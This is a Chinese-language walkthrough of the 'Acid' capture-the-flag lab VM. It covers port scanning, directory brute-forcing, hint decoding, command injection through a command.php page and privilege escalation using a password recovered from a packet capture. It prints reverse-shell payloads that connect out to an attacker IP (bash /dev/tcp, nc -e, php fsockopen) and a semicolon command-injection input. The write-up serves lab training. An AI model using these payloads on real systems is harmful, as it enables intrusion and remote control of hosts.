靶机说明

Welcome to the world of Acid. Fairy tails uses secret keys to open the magical doors.

欢迎来到酸的世界。童话故事需要使用秘密钥匙打开魔法门。

目标

获得root权限和flag。

运行环境

  • 靶机配置:该虚拟机完全基于Web,提取rar并使用VMplayer运行vmx,网络连接方式设置为net,靶机自动获取IP。

  • 攻击机配置:同网段下有Windows攻击机,安装有Burpsuit、nc、Python2.7、DirBuster、御剑等渗透工具。

信息收集

  • ip发现

  • 物理机kali ip为

启用Acid虚拟机,由于网络设置为桥接模式,使用Nmap扫描VMware Network Adapter VMnet8网卡的NAT网段,即可找到虚机IP,命令:

nmap -sP 192.168.1.1/24 

获得目标ip 192.168.1.104

  • 端口扫描

使用nmap扫描1-65535全端口,并做服务指纹识别,命令:

nmap -p 1-65535 -sV 192.168.1.104

目标主机的33447端口发现web服务,web服务器是Apache2.4.10,操作系统ubuntu。

http://192.168.1.104:33447 进入主页:

  • 服务识别

只发现web服务和Apache,只能从web漏洞或者Apache漏洞入手(如有漏洞):

端口:Tcp 33447

底层服务:Apache2.4.10

操作系统:Ubuntu

漏洞挖掘的详细思路

  • web挖掘思路:

(1) 查看每个网页的源码,看是否有提示;

(2) 暴破目录,用御剑或DirBuster,看是否有新网页,找新网页的漏洞;

  • Apache挖掘思路:

(1) 寻找Apache2.4.10有无已知漏洞可利用:没有发现可直接利用的漏洞。

(2) 到www.exploit-db.com查询有无exp:没有找到exp。

(3) Nessus扫描一下主机漏洞:没有扫描出漏洞。

  • 实在找不到漏洞:单用户模式进入Ubuntu,看源码吧。

  • 步骤1:首先看主页源码,发现提示:0x643239334c6d70775a773d3d

0x是16进制编码,将值643239334c6d70775a773d3d进行ASCII hex转码,变成:d293LmpwZw==

发现是base64编码,再进行解码,得到图片信息 wow.jpg

这时可以根据经验在首页直接加目录打:/image/wow.jpg 或者 /images/wow.jpg 或者 /icon/wow.jpg 网站的图片目录通常是这样命名。

也可以利用dirbuster,御剑进行目录爆破,得到图片目录images。

  • 访问 http://192.168.1.104:33447/images/wow.jpg 得到图片:

  • 将图片保存到本地,用Notepad++打开,发现最下边有提示

将3761656530663664353838656439393035656533376631366137633631306434进行ASCII hex转码,

得到 7aee0f6d588ed9905ee37f16a7c610d4,这是一串md5。

  • 步骤2:使用Dirbuster进行目录暴破:

突然发现标题是/Challenge

查看暴破结果:果然发现Challenge目录,并且发现该目录下有cake.php、include.php、hacked.php,用Burpsuit挂上代理,

使用Firefox然后依次访问3个文件:

  • 步骤3:访问cake.php,发现需要登录后才能访问,但是标题的地方我们同样发现了/Magic_Box

点击login,发现跳到了index.php 页面,但是需要email 和 password才能登陆

  • 步骤4:访问include.php,这是一个文件包含漏洞页面:

在输入框中输入 /etc/passwd 测试存在文件包含,Burpsuit显示response包如下:

想文件包含拿shell,但没有文件上传点,之前发现的wow.jpg中无木马可包含。先继续看hacked.php。

  • 步骤5:访问hacked.php,需要输入ID,测试下之前从wow.jpg解密出来的数字:63425

不过看来好像并没有什么卵用

  • 步骤6:找注入,把发现的几个页面都送入AWVS扫描了漏洞,未发现注入。

  • 步骤7:继续暴破发现的/Magic_Box目录:发现low.php,command.php
  • 步骤8:访问low.php是个空页面,访问command.php,发现命令执行界面:

这让人直接想起来命令执行漏洞,我们尝试一波

可执行系统命令,输入192.168.1.1;id 查看burpsuit的response发现id命令执行成功。

获取shell

  • 步骤9:利用php反弹shell。kali linux开启nc,监听4444端口:

为避免转义和中断,在get、post请求中输入payload需要进行url编码。尝试bash反弹shell、nc反弹shell,如下payload都失败:

bash -i >& /dev/tcp/192.168.0.112/ >&

nc -e /bin/bash -d 192.168.0.112 

通过php反弹shell成功,将如下payload进行URL编码后,在burp中发送:

php -r '$sock=fsockopen("192.168.0.112",4444);exec("/bin/sh -i <&3 >&3 2>&3");'

成功反弹shell

但是无法执行su命令,回显su: must be run from a terminal 需要一个终端。

没有想出办法,最终google了一下,找到答案:用python调用本地的shell,命令:

echo "import pty; pty.spawn('/bin/bash')" > /tmp/asdf.py

python /tmp/asdf.py

提升权限

  • 步骤10:查看有哪些的用户 cat /etc/passwd,发现需要关注的用户有:acid,saman,root

  • 步骤11:查找每个用户的文件(不显示错误)

find / -user acid >/dev/null

发现    /sbin/raw_vs_isi/hint.pcapng   文件,这是一个网络流量抓包文件,用Wireshark打开:

scp /sbin/raw_vs_isi/hint.pcapng root@10.10.10.140:/root/

只看TCP协议的包,发现saman的密码:1337hax0r

  • 步骤12:su提权到saman、root,获得flag

再使用sudo -i 提权到root,密码同样是1337hax0r,获得位于root目录的flag.txt。

靶场思路回顾

作者的设计思路可参考国外的一篇渗透文章: 

http://resources.infosecinstitute.com/acid-server-ctf-walkthrough

主要突破点是:

1.两次目录暴破,第一次暴破出challenge,目录、cake.phpinclude.php、hacked.php,第二次暴破Magic_Box目录发现command.php

2.发现命令执行界面后,用php反弹shell,在http中传输需对payload进行url编码。

3.su提权需要一个终端,没有经验只能Google解决了。

4.提权的方法是通过查找已知用户的文件,发现其密码,未使用exp或msf提权。

总结

1.主要收获:

(1)命令执行漏洞可使用php反弹shell, 以前都是用bash或nc。

(2)su提权需要一个终端,使用Python解决。

(3)获得shell后,多多查找各个用户文件,可能有新发现。

2.踩到的坑:

(1)文件包含漏洞,没找到利用方式,也找不到上传点,无法包含获得shell;

(2)su提权需要一个终端,没有知识储备和经验,依靠高手指导和Google搜索解决。

(3)index.php页面获得邮件用户名和密码的方法太冷门了,如果不是看国外的教程,自己无法想到。

(4)发现目录就暴破下,使用御剑默认字典不行,只能使用OWASP的暴破字典,目录暴破绕过了上面邮件用户名和口令的登录,可以一路暴破到命令执行页面。

总之,在没有google搜索和他人的指导下,自己没能独立完成,后续需要开阔思路,多多练习。

9. CTF综合靶机渗透(二)的更多相关文章

  1. 22. CTF综合靶机渗透(十五)

    靶机说明: Game of Thrones Hacking CTF This is a challenge-game to measure your hacking skills. Set in Ga ...

  2. 21. CTF综合靶机渗透(十四)

    靶机说明: I created this machine to help others learn some basic CTF hacking strategies and some tools. ...

  3. 18. CTF综合靶机渗透(十一)

    靶机描述: SkyDog Con CTF 2016 - Catch Me If You Can 难度:初学者/中级 说明:CTF是虚拟机,在虚拟箱中工作效果最好.下载OVA文件打开虚拟框,然后选择文件 ...

  4. 17. CTF综合靶机渗透(十)

    靶机描述:欢迎来到超级马里奥主机!这个虚拟机是对真实世界场景场景的模拟.目标是在VM中找到2个标志.根是不够的(对不起!)VM可以以多种方式开发,但请记住枚举是关键.挑战的程度是中等的.感谢VDBAN ...

  5. 19. CTF综合靶机渗透(十二)

    靶机说明: 靶机主题来自美剧<黑客军团> 本次靶机有三个flag,难度在初级到中级,非常适合新手训练学习,不需要逆向技术,目标就是找到三个key,并且拿到主机root权限. 渗透过程: 本 ...

  6. 20. CTF综合靶机渗透(十三)

    靶机说明: Wellcome to "PwnLab: init", my first Boot2Root virtual machine. Meant to be easy, I ...

  7. 14. CTF综合靶机渗透(七)

    靶机说明 NinevehV0.3.7z是一个难度为初级到中级的BooT2Root/CTF挑战. VM虚机配置有静态IP地址(192.168.0.150) 目标 Boot to root:获得root权 ...

  8. 13. CTF综合靶机渗透(六)

    靶机说明 Breach1.0是一个难度为初级到中级的BooT2Root/CTF挑战. VM虚机配置有静态IP地址(192.168.110.140),需要将虚拟机网卡设置为host-only方式组网,并 ...

  9. 25. CTF综合靶机渗透(17)

    靶机链接 https://www.vulnhub.com/entry/the-ether-evilscience,212 运行环境 本靶机提供了VMware的镜像,从Vulnhub下载之后解压,运行v ...

随机推荐

  1. hbase shell-namespace(命名空间指令)

    hbase shell命名空间namespace篇: 1. alter_namespace (一般用于添加删除一个属性,很少使用) hbase(main)::> help 'alter_name ...

  2. [java]final关键字、finally关键字与finalize()方法

    final关键字: final关键字通常指的是“无法改变的”,使用“无法改变”这样修饰可能出于两个原因:设计或者效率. final可以修饰变量.方法和类. 一.final变量 一个既是static又是 ...

  3. POJ 2230 Watchcow 【欧拉路】

    Watchcow Time Limit: 3000MS   Memory Limit: 65536K Total Submissions: 6336   Accepted: 2743   Specia ...

  4. jupyter- 运维

    jupyter运维常见CLI 查看安装的内核和位置 jupyter kernelspec list anaconda列出所有的环境 conda info -e

  5. Linux- AWS之EC2大数据集群定时开关机

    众所周知,云计算就是在计算你的钱,每当ec2开起来就要开始计费.当用户购买了一个庞大的与服务器做一个集群,尤其是用来做大数据集群,这些服务器的配置相当高,每台服务器所需要的费用不菲.其实在很多时候没能 ...

  6. wiredtiger存储引擎介绍——本质就是LSM,当然里面也可以包含btree和列存储

    见:http://www.slideshare.net/profyclub_ru/4-understanding-and-tuning-wired-tiger-the-new-high-perform ...

  7. php获取客户端IP地址的几种方法(转)

    [php] view plain copy php获取客户端IP地址的几种方法 方法一 <?php $iipp=$_SERVER["REMOTE_ADDR"]; echo $ ...

  8. Javascript-- jQuery 核心

    jQuery中each方法的应用 jQuery中有个很重要的核心方法each,大部分jQuery方法在内部都会调用each,其主要的原因的就是jQuery的实例是一个元素合集 如下:找到所有的div, ...

  9. BEC listen and translation exercise 39

    What about jigsaw puzzle design for visually handicapped?给视觉障碍人士设计拼图怎么样? Length is 50cm, and then th ...

  10. Java 时间和日期类型的 Hibernate 映射

    以下情况下必须显式指定 Hibernate 映射类型 一个 Java 类型可能对应多个 Hibernate 映射类型. 例如: 如果持久化类的属性为 java.util.Date 类型, 对应的 Hi ...